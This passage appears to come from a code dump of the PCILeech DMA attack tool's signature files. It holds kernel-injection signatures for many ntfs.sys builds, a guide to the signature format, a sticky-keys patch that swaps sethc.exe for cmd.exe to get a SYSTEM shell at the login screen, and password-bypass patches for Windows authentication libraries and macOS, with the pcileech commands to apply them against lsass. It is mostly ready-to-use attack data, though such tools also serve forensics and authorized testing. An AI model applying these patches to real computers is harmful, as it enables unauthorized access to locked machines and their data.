(MJ_CREATE);0xca000;0x4f000;0592b0387ec943697dd0f552564e087c8dd385b25db565ffb11fa6bd1cf10b14;218325e192e8146883054359e984376be0d13486c05d31ab4a23ff834ebb623e;,ca770,DEFAULT_WINX64_STAGE1,4fe38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804f00010023000180080003801400018066010100050000001d00018001000000 ntfs.sys signed on 2015-12-01 (Windows 10 x64);win10x64_ntfs_20151201.kmd;# ntfs.sys signed on 2015-12-01 (MJ_CREATE);0xc5000;0x4d000;3bac25cd0e0cfc45dcb7efa67200e4800ffe8278fd3249a382bd4403f3309756;fcc23d38f37141010e2985cc2c7babc8796c36e85b820d77d5c6b4fe66c6caf0;,c51e0,DEFAULT_WINX64_STAGE1,4dd30,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 ntfs.sys signed on 2015-07-30 (Windows 10 x64);win10x64_ntfs_20150730.kmd;# ntfs.sys signed on 2015-07-30 (MJ_CREATE);0xc4000;0x4d000;cd135fc58b88f96abff0ddb1207cb9e84e5b2f040607d0500de0018d32ad1572;2cfd3b597b341c056a30a186b1347d82d211cf1319464ad1f13cfa525891e409;,c4dc0,DEFAULT_WINX64_STAGE1,4dd20,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 ntfs.sys signed on 2015-07-17 (Windows 10 x64);win10x64_ntfs_20150717.kmd;# ntfs.sys signed on 2015-07-17 (MJ_CREATE);0x1f000;0x4d000;9ac57fa7e7d8d92e066c6ce9c76c82fc3afccc1e6211eb4d9b03ea79c8a70b3b;2cfd3b597b341c056a30a186b1347d82d211cf1319464ad1f13cfa525891e409;,1fb90,DEFAULT_WINX64_STAGE1,4dd20,DEFAULT_WINX64_STAGE2.bin,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 ntfs.sys signed on 2015-07-10 (Windows 10 x64);win10x64_ntfs_20150710.kmd;# ntfs.sys signed on 2015-07-10 (MJ_CREATE);0xc4000;0x4d000;a8a4e0d7963c2652226064c674b7ed38b1f84a8661e8f63663783dafb83271fc;95964341fb3121baf303037a3796bd98c4167261ead9a4b4587a31e8a546dda1;,c4ec0,DEFAULT_WINX64_STAGE1,4dd20,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018062010100050000001d000180 ntfs.sys signed on 2016-03-29 (Windows 10 x64);win10x64_ntfs_20160329.kmd;# ntfs.sys signed on 2016-03-29 (MJ_CREATE);0xca000;0x4f000;d091d4d5452ef388c6ff22780922f3f944a8439e5109dae207151f7f4fd23991;84b0ffd20272e8757023975ef52132c9e82df7e81da537cf436407733a1f4957;,ca770,DEFAULT_WINX64_STAGE1,4fe38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804f00010023000180080003801400018066010100050000001d000180 ntfs.sys signed on 2016-08-03 (Windows 10 x64) [10.0.10240.17071];win10x64_ntfs_20160803_10240.kmd;# ntfs.sys signed on 2016-08-03 (MJ_CREATE) [10.0.10240.17071];0xc5000;0x4d000;c80d2ff8c58669a539ecc636103a73eb8c65a4568c81d6627a9b14f428d0207f;bafe68ca0561d5137504c53360cdec01b8d522eade7e558b90231fdaf53a66a5;,c51e0,DEFAULT_WINX64_STAGE1,4de38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 ntfs.sys signed on 2017-09-19 (Windows 10 x64) [10.0.10240.17643];win10x64_ntfs_20170919_10240.kmd;# ntfs.sys signed on 2017-09-19 (MJ_CREATE) [10.0.10240.17643];0xdd000;0x1ec000;3f688bfd33764abc387ed1ffe57ee287cb4726ef58fb88f104a350d62f25b240;950b63465d1982cc41108376717f8dda508c3778b6358ce21e4272c7e75a1306;,dd7b0,DEFAULT_WINX64_STAGE1,1ece38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804d00010022000180080003801400018061010100050000001d00018001000000 ntfs.sys signed on 2016-07-16 (Windows 10 x64) [10.0.14393.0];win10x64_ntfs_20160716_14393.kmd;# ntfs.sys signed on 2016-07-16 (MJ_CREATE) [10.0.14393.0];0xf6000;0x53000;5cadebe69115cc66e07f7d1e3f97ad0522840c1c648d33b37d8fe9f9a36ae413;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f6b70,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2016-08-20 (Windows 10 x64) [10.0.14393.103];win10x64_ntfs_20160820_14393.kmd;# ntfs.sys signed on 2016-08-20 (MJ_CREATE) [10.0.14393.103];0xf6000;0x53000;c6b3a2c6a9d19798b9974704e551a4798d0f2098279a67924eebcb03cee07590;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f6b70,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2016-09-07 (Windows 10 x64) [10.0.14393.187];win10x64_ntfs_20160907_14393.kmd;# ntfs.sys signed on 2016-09-07 (MJ_CREATE) [10.0.14393.187];0xf7000;0x53000;e6f94244f8ab0cb45a2509679a15ebbb933c936c23d0c600116124b4aebf67d5;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f78e0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2016-11-02 (Windows 10 x64) [10.0.14393.447];win10x64_ntfs_20161102_14393.kmd;# ntfs.sys signed on 2016-11-02 (MJ_CREATE) [10.0.14393.447];0xf7000;0x53000;e044cff9460a778a04e75081dbfa7441bd1b142a9798a2c978c28612f33682c3;04d501dae7a097b649edc0bb68dc02036e31ece8c30ee48ab24ac8fb3095fe46;,f78e0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2017-03-04 (Windows 10 x64) [10.0.14393.953];win10x64_ntfs_20170304_14393.kmd;# ntfs.sys signed on 2017-03-04 (MJ_CREATE) [10.0.14393.953];0xf7000;0x53000;228a30faacc59dd6b41fab0a5eab73e30ee774fde51e4ee30a8501f81cfe8e54;6c4742133e9409255abb3c3d21eca24e7f303b4968e703acfe4f3e3f4e39ce36;,f78f0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2017-04-28 (Windows 10 x64) [10.0.14393.1198];win10x64_ntfs_20170428_14393.kmd;# ntfs.sys signed on 2017-04-28 (MJ_CREATE) [10.0.14393.1198];0xf7000;0x53000;1546b88e89466c8602690714ca39ddfde499a3f33a5869747530cb060daf8923;0a9519910b85e243dde74efa9e9f205e182ef166048bd0fe29ff0618df10ba3d;,f78f0,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2017-09-18 (Windows 10 x64) [10.0.14393.1770];win10x64_ntfs_20170918_14393.kmd;# ntfs.sys signed on 2017-09-18 (MJ_CREATE) [10.0.14393.1770];0xf7000;0x53000;d1cf002a0c0db5927ae3e0bacdb1f52fb283416e23e1d42387bae39a3f384cb3;2138340b1aabd7f419293f82683c6dde30937214f29b3d83791c13be00da50db;,f7a10,DEFAULT_WINX64_STAGE1,53e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038053000100240001800800038014000180760101000500000022000180 ntfs.sys signed on 2017-03-18 (Windows 10 x64) [10.0.15063.0];win10x64_ntfs_20170318_15063.kmd;# ntfs.sys signed on 2017-03-18 (MJ_CREATE) [10.0.15063.0];0xcb000;0x55000;f190019c227cbbbd19e9ed6fb840e9838afab598b9ac23a3008d60fb3b139845;b48ce1f64615ae1e734d36f94c0c41cce4e5f6caab58df0121ca6f27e8569599;,cb2e0,DEFAULT_WINX64_STAGE1,55e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180 ntfs.sys signed on 2017-09-30 (Windows 10 x64) [10.0.15063.674];win10x64_ntfs_20170930_15063.kmd;# ntfs.sys signed on 2017-09-30 (MJ_CREATE) [10.0.15063.674];0xcb000;0x219000;c1627584ba74d093e74760e12d5c74e0549d5d768f4ec462d55eedfe8dd74d98;871a6f00aea79f7bfd79d23cd3d72d9ae0f7cf7b344ac5f5e9511a641c202348;,cb390,DEFAULT_WINX64_STAGE1,219e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180 ntfs.sys signed on 2017-11-02 (Windows 10 x64) [10.0.15063.726];win10x64_ntfs_20171102_15063.kmd;# ntfs.sys signed on 2017-11-02 (MJ_CREATE) [10.0.15063.726];0xcb000;0x219000;b67b714d8ba13a16ef64df94347b2ce373b2447c59a7a723579d1391b1c8c160;1de51f66634410d684aa5764646472e7bd51c3e380308d7418400665168d2c09;,cb3a0,DEFAULT_WINX64_STAGE1,219e38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380550001002800018008000380150001807f0101000500000023000180 ntfs.sys signed on 2017-10-10 (Windows 10 x64) [10.0.16299.19];win10x64_ntfs_20171010_16299.kmd;# ntfs.sys signed on 2017-10-10 (MJ_CREATE) [10.0.16299.19];0xf6000;0x22c000;55b6529027827c433303454a3bfd0fc540bfcb7163089bb4650fb578999db299;8bdfd5302c2521f1a723ef61bdc2543f52bd9a6748d6bb2788ab4ff8ed87dd6f;,f6120,DEFAULT_WINX64_STAGE1,22ce38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003805a0001002900018008000380150001808c0101000500000023000180 ntfs.sys signed on 2018-02-10 (Windows 10 x64) [10.0.16299.248];win10x64_ntfs_20180210_16299.kmd;# ntfs.sys signed on 2018-02-10 (MJ_CREATE) [10.0.16299.248];0xd5000;0x22a000;f7d9b1cb758ad97d9070fdfefcc09fe53ba6d42a5fe2d9074a3aa97f7ef95ddf;61c552bc451be0d577fc9828ab6ebed62dc117f17265a5f8c42013f1d843285e;,d5640,DEFAULT_WINX64_STAGE1,22ae38,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,01000380590001002900018008000380150001808b0101000500000023000180 ``` `files/signature_info.txt`: ```txt Signature Guide for Search/Patch signatures and Kernel Module signatures ======================================================================== GENERAL ======= Signature files are read line by line. Signature files may contain multiple signature lines. The exception is kernel module inserts by page table hijack - which may only contain one line. Each line contains either a comment, starts with '#', or a signature line. Signature lines are comma separated and divided into 'chunks'. Each chunk contains an 'offset' and a 'data' section. The offset is a hexadecimal dword. The data section is binary data which can be either of: - = no data. DEFAULT_ = data loaded from builtin pre-defined shellcodes. ASCIIHEX = data as asciihex. FILENAME = file name to load binary data from. EXAMPLE: B60,FF15C207,0,-,1aab00,file.bin The example contains three chunks. chunk[0] = offset B60 and data FF15C207. chunk[1] = offset 0 and no data. chunk[2] = offset 1aab00 and data loaded from file. MEMORY PATCH SIGNATURE FORMAT ============================= A memory patch signature file have the extension '.sig'. A file may contain multiple memory patch signatures. A memory patch signature consists exactly three (3) chunks. Memory patch signatures support wildcard and relative offsets in addition to the standard in-page offset. chunk[0] = search pattern 'data' at 'offset' distance from page base. chunk[1] = search pattern 'data' at 'offset' distance from page base. only searched in same page as chunk[0] if match is made in chunk[0]. optional. if not used specify data: '-' chunk[2] = replace contents with 'data' at distance 'offset' from page base. MEMORY PATCH SIGNATURES - WILDCARD AND RELATIVE OFFSETS ======================================================= - Memory patch signatures support in-page fixed offsets in all signature chunks Examples: 0 ; e0 ; ee0. - Wildcard offsets are supported in signature chunk 0 and 1, but not in chunk 2 which is chunk containing patch data. A wildcard offset is denoted by '*'. Example: * - Relative offsets are supported only in signature chunk 1 and 2. The relative offset is not supported in signature chunk 0. Relative offsets are calculated from the offset in chunk 0. Relative offsets can be combined with a wildcard offset in chunk 0. A relative offset is given by r and then the offset as a 32-bit DWORD in hex. Examples: r0 ; r1F0 ; rFFFFFFF0 (negative offset of 0x10) KERNEL MODULE SIGNATURE FORMAT #1 - memory search ================================================= The default format for kernel signatures is the memory search format. This is used by PCILeech to search the memory for a signature, which is then patched. Note that only fixed in-page offsets are supported in kernel module signatures. chunk[0] = search pattern 'data' at 'offset' distance from page base. This page contains the function to be overwritten by stage #1 code. chunk[1] = search pattern 'data' at 'offset' distance from page base. Stage #2 code will be placed in this page. chunk[2] = offset to where to place stage #1 code, and stage #1 code. chunk[3] = offset to where to place stage #2 code, and stage #2 code. chunk[4] = , and stage #3 code. KERNEL MODULE SIGNATURE FORMAT #2 - page table hijack ===================================================== The page table hijack format is used when a page table needs to be hijacked in order to gain execution (if the targeted executable memory is above 4GB). Note that only fixed in-page offsets are supported in kernel module signatures. chunk[0] = , 4096-bytes of original page bytes for page in which stage #1 code should be placed. chunk[1] = , 4096-bytes of original page bytes for page in which stage #2 code should be placed. chunk[2] = offset to where to place stage #1 code, and stage #1 code. chunk[3] = offset to where to place stage #2 code, and stage #2 code. chunk[4] = , and stage #3 code. chunk[5] = , "driver signature" ``` `files/stickykeys_cmd_win.sig`: ```sig # replace sethc.exe with cmd.exe in memory on Windows # Signatur for PCILeech version 1.1 # syntax: see signature_info.txt for more information. # # Signature by Ian Vitek (Sigtrap) # # Signature only found after activating sticky keys at least once. # (Not 100% reliable to find the signature in memory, but fiddeling around # with sticky keys will in the end leave the sethc.exe in memory.) # So, press SHIFT five times to start sethc.exe then patch with this signature. # Close the Sticky Key dialog and press SHIFT five times # to get cmd.exe with system access at login. # # Windows x64 all versions [20160906] *,00730065007400680063002E00650078006500200025006C006400000000000000730065007400680063002E006500780065,0,-,r0,0063006D0064002E0065007800650020002000200025006C00640000000000000063006D0064002E00650078006500200020 ``` `files/unlock_macos.sig`: ```sig # unlock signatures for macOS # syntax: see signature_info.txt for more information. # # # CFOpenDirectory!ODRecordVerifyPassword (various versions) *,080000004C89F7E83EC40000EB0231DB88D84883C4685B415C415D415E415F5D,0,-,r10,b001 *,080000004C89F7E81AC40000EB0231DB88D84883C4685B415C415D415E415F5D,0,-,r10,b001 ``` `files/unlock_win10x64.sig`: ```sig # Unlock Signatures for Local and AD Accounts for Windows 10 x64 version # # Method 1: (faster): # 1.1 check pid of lsass.exe: pcileech pslist # 1.2 patch: pcileech patch -sig wx64_unlock_win10.sig -all -pid # # Method 2: # 2.1 patch: pcileech patch -sig wx64_unlock_win10.sig -all # # Syntax: see signature_info.txt for more information. # Generated on 2024-12-09 18:16:15 # # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.16384 / 2015-07-10] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.18366 / 2019-09-30] 5DC,488BCBFF154B1C0000,5E8,0F8518FBFFFF,5E8,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19387 / 2022-08-04] 65C,488BCBFF15CB1B0000,668,0F8518FBFFFF,668,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.10240.19869 / 2023-03-30] 66C,488BCBFF15BB1B0000,678,0F8518FBFFFF,678,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.10586.0 / 2015-10-30] 62C,488BCBFF15B31B0000,638,0F8518FBFFFF,638,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.0 / 2016-07-16] 6DC,488BCBFF15D31B0000,6E8,0F8518FBFFFF,6E8,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.2791 / 2019-02-06] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.3269 / 2019-09-29] 6EC,488BCBFF15C31B0000,6F8,0F8518FBFFFF,6F8,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5291 / 2022-08-07] 76C,488BCBFF15431B0000,778,0F8518FBFFFF,778,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5850 / 2023-03-30] 77C,488BCBFF15331B0000,788,0F8518FBFFFF,788,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.1631 / 2019-02-06] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.2106 / 2019-09-30] 622,488BCBFF15B51C0000,62E,0F852EFBFFFF,62E,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.15254.245 / 2018-01-30] 612,488BCBFF15C51C0000,61E,0F852EFBFFFF,61E,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1268 / 2019-07-05] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1448 / 2019-10-02] 622,488BCBFF15C51C0000,62E,0F852EFBFFFF,62E,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.192 / 2018-01-01] 612,488BCBFF15D51C0000,61E,0F852EFBFFFF,61E,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.1067 / 2019-10-02] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.590 / 2019-02-06] 6A2,488BCBFF15451C0000,6AE,0F852EFBFFFF,6AE,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.523 / 2019-01-01] 692,488BCBFF15551C0000,69E,0F852EFBFFFF,69E,909090909090 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.10935 / 2022-08-05] 7CD,488BCBFF15221B0000,7D9,0F840BFBFFFF,7D9,0F85 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.194 / 2018-12-04] 73D,488BCBFF15B21B0000,749,0F840BFBFFFF,749,0F85 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.316 / 2019-02-06] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.802 / 2019-10-02] 74D,488BCBFF15A21B0000,759,0F840BFBFFFF,759,0F85 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.5122 / 2023-11-08] 7DD,488BCBFF15121B0000,7E9,0F840BFBFFFF,7E9,0F85 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.1 / 2019-03-18] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.10022 / 2019-09-15] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.418 / 2019-10-06] 72F,488BCBFF15C01B0000,73B,0F8409FBFFFF,73B,0F85 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.1 / 2019-12-07] 423,488BCB48FF1553200000,435,0F84BAFAFFFF,435,0F85 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2728 / 2023-03-09] 4B3,488BCB48FF15C31F0000,4C5,0F84BAFAFFFF,4C5,0F85 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2965 / 2023-04-27] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3636 / 2023-10-20] # Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3684 / 2023-10-17] 4C3,488BCB48FF15B31F0000,4D5,0F84BAFAFFFF,4D5,0F85 # # Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.4474 / 2024-05-18] 583,488BCB48FF15F31E0000,595,0F84BAFAFFFF,595,0F85 ``` `files/unlock_win10x86.sig`: ```sig # Unlock Signatures for Local and AD Accounts for Windows 10 x86 version # # Method 1: (faster): # 1.1 check pid of lsass.exe: pcileech pslist # 1.2 patch: pcileech patch -sig wx86_unlock_win10.sig -all -pid # # Method 2: # 2.1 patch: pcileech patch -sig wx86_unlock_win10.sig -all # # Syntax: see signature_info.txt for more information. # Generated on 2024-12-09 18:16:15 # # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.10240.16384 / 2015-07-10] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.10240.18366 / 2019-09-30] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.10240.19387 / 2022-08-04] 507,56FF151C610010,510,0F8598FBFFFF,510,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.10240.19869 / 2023-03-30] 517,56FF151C610010,520,0F8598FBFFFF,520,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.10586.0 / 2015-10-30] 627,56FF15F0600010,630,0F8598FBFFFF,630,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.14393.2791 / 2019-02-06] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.14393.3269 / 2019-09-29] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.14393.5291 / 2022-08-07] 7A7,56FF15F8700010,7B0,0F8598FBFFFF,7B0,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.14393.5850 / 2023-03-30] 7B7,56FF15F8700010,7C0,0F8598FBFFFF,7C0,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.15063.1631 / 2019-02-06] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.15063.2106 / 2019-09-29] 79E,56FF15F8600010,7A7,0F8584FBFFFF,7A7,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.15254.158 / 2018-01-03] 78E,56FF15F8600010,797,0F8584FBFFFF,797,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.16299.1448 / 2019-10-02] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.16299.967 / 2019-02-06] 7AE,56FF15F0600010,7B7,0F8584FBFFFF,7B7,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.16299.192 / 2018-01-01] 79E,56FF15F0600010,7A7,0F8584FBFFFF,7A7,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.17134.1067 / 2019-10-02] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.17134.590 / 2019-02-06] 83E,57FF15F4700010,847,0F8573FBFFFF,847,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.17134.407 / 2018-11-01] 81E,57FF15F4700010,827,0F8573FBFFFF,827,909090909090 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.107 / 2018-10-27] 7F9,57FF15F4600010,802,0F8463FBFFFF,802,0F85 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.10935 / 2022-08-05] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.316 / 2019-02-06] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.802 / 2019-10-02] 819,57FF15F4600010,822,0F8463FBFFFF,822,0F85 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.17763.4964 / 2023-09-14] 829,57FF15F4700010,832,0F8463FBFFFF,832,0F85 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.18362.418 / 2019-10-06] 80B,57FF15F4600010,814,0F8461FBFFFF,814,0F85 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.19040.1 / 2019-12-06] CA8,57FF1598B10010,CB1,0F8463FBFFFF,CB1,0F85 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.19041.2673 / 2023-02-16] C28,57FF1598B10010,C31,0F8463FBFFFF,C31,0F85 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.19041.2965 / 2023-04-27] # Signature for Windows 10 x86 [NtlmShared.dll 10.0.19041.3505 / 2023-08-19] C38,57FF1598B10010,C41,0F8463FBFFFF,C41,0F85 # # Signature for Windows 10 x86 [NtlmShared.dll 10.0.19041.4474 / 2024-05-18] CB8,57FF1598B10010,CC1,0F8463FBFFFF,CC1,0F85 ``` `files/unlock_win11x64.sig`: ```sig # Unlock Signatures for Local and AD Accounts for Windows 11 x64 version # # Method 1: (faster): # 1.1 check pid of lsass.exe: pcileech pslist # 1.2 patch: pcileech patch -sig wx64_unlock_win11.sig -all -pid # # Method 2: # 2.1 patch: pcileech patch -sig wx64_unlock_win11.sig -all # # Syntax: see signature_info.txt for more information. # Generated on 2025-04-18 19:09:03 # # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.1668 / 2023-03-30] A7B,488BCB48FF15A3280000,A8D,0F84B2FAFFFF,A8D,0F85 # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.887 / 2022-08-04] A6B,488BCB48FF15B3280000,A7D,0F84B2FAFFFF,A7D,0F85 # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.1696 / 2023-03-09] 00B,488BCB48FF15E3220000,01D,0F84B2FAFFFF,01D,0F85 # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.2600 / 2023-11-08] 01B,488BCB48FF15D3220000,02D,0F84B2FAFFFF,02D,0F85 # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.778 / 2022-06-18] F8B,488BCB48FF1563230000,F9D,0F84B2FAFFFF,F9D,0F85 # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2067 / 2023-07-11] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2506 / 2023-10-19] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2567 / 2023-10-14] FC9,488D4B1048FF152C230000,FDC,0F85C4FAFFFF,FDC,909090909090 # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1 / 2024-04-01] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1150 / 2024-07-03] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1591 / 2024-08-21] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1882 / 2024-09-28] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.2454 / 2024-11-16] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.712 / 2024-05-16] B31,4D2BF575EF84D2740A32C0EB09,B3A,32C0,B3A,B001 # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.2894 / 2025-01-12] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3037 / 2025-01-24] 6A1,4D2BFE75EF84D20F8442F8FFFF32C0E93EF8FFFF,6AE,32C0,6AE,B001 # # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3323 / 2025-02-21] # Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3624 / 2025-03-22] 6C1,4D2BFE75EF84D20F8442F8FFFF32C0E93EF8FFFF,6CE,32C0,6CE,B001 ``` `files/unlock_win8x64.sig`: ```sig # unlock signatures for Windows 8.1 # syntax: see signature_info.txt for more information. # # # signature for Windows 8.1 x64 [msv1_0.dll (signed on: 2014-10-29)] EE0,FF1542A4,EE9,0F854688,EE9,909090909090 # # signature for Windows 8.1 x64 [msv1_0.dll (signed on: 2015-10-30)] B60,FF15C207,B69,0F85CEBC,B69,909090909090 # # signature for Windows 8.1 x64 [msv1_0.dll (signed on: 2016-03-16)] F00,FF152204,F09,0F85B2B9,F09,909090909090 ``` `files/unlock_winvistax64.sig`: ```sig # unlock signatures for Windows Vista x64 version # syntax: see signature_info.txt for more information. # # # signature for Windows Vista x64 [msv1_0.dll 6.0.6002.18005] 1a1,c60f85,1a8,b8,1a2,909090909090 # # signature for Windows Vista x64 [msv1_0.dll 6.0.6002.19431] d89,c60f85,d90,b8,d8a,909090909090 ``` `files/win7x64.kmd`: ```kmd # signatures for Windows 7 x64 version # # # ntfs.sys signed on 2010-11-20 14:33:45 (MJ_CREATE) | (WIN7SP1-INSTALL) 7F0,488954241048894C240853565741544155415641574881EC70010000488BF248,000,C14133C24103C7468D84084F7EA86F418BC2F7D041C1C0064403C1410BC033C1,A87F0,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 # # # ntfs.sys signed on 2013-04-12 16:16:03 (MJ_CREATE) 680,488954241048894C240853565741544155415641574881EC70010000488BF248,940,48895C2408574883EC708B118B4104488BF9895158C1EA0389415C83E23F41B8,AA680,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 # # # ntfs.sys signed on 2014-01-24 04:37:56 (MJ_CREATE) 990,488954241048894C240853565741544155415641574881EC70010000488BF248,000,C14133C04133C20344240C448D8C106556ACC48BC1F7D041C1C1174503C8410B,A7990,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 # # # ntfs.sys signed on 2016-01-08 20:19:54 (MJ_CREATE) BD0,488954241048894C240853565741544155415641574881EC70010000488BF248,000,C14133C24103C4428D940053144402C1C20903D18BC233C14123C233C103C346,A7BD0,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 # # # ntfs.sys signed on 2016-01-11 20:10:19 (MJ_CREATE) AA0,488954241048894C240853565741544155415641574881EC70010000488BF248,000,468D8408F87CA21F8BC141C1C0104403C14133C04133C20344240C448D8C1065,A7AA0,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 # # # ntfs.sys [6.1.7601.23839] signed on 2017-07-09 16:32:49 (MJ_CREATE/NtfsFsdCreate) 